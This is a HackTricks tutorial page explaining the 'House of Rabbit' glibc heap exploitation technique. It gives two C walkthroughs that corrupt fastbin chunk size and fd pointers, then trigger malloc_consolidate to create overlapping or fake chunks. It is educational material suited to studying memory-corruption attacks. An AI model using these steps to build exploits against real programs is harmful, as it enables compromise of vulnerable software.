Search K
Appearance
Appearance
Other ways to support HackTricks:
malloc_consolidate
: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.Objective: Create an overlapping chunk by manipulating the size of a fastbin chunk.
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fastbin list once freed.
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
We free both chunks, adding them to the fastbin list.
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
We change the size metadata of chunk1
to 0xa1. This is a crucial step to trick the allocator during consolidation.
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Allocating a large chunk triggers the malloc_consolidate
function, merging small chunks in the fastbin. The manipulated size of chunk1
causes it to overlap with chunk2
.
After consolidation, chunk1
overlaps with chunk2
, allowing for further exploitation.
Objective: Create a fake chunk by manipulating the fastbin fd pointer.
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explanation: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
We write fake chunk metadata into chunk2
to simulate smaller chunks.
free(chunk1); // Frees the chunk at 0x602000
Explanation: We free chunk1
, adding it to the fastbin list.
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explanation: We change the forward pointer (fd) of chunk1
to point to our fake chunk inside chunk2
.
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Allocating a large chunk again triggers malloc_consolidate
, which processes the fake chunk.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
The House of Rabbit technique involves either modifying the size of a fastbin chunk to create overlapping chunks or manipulating the fd pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
Other ways to support HackTricks: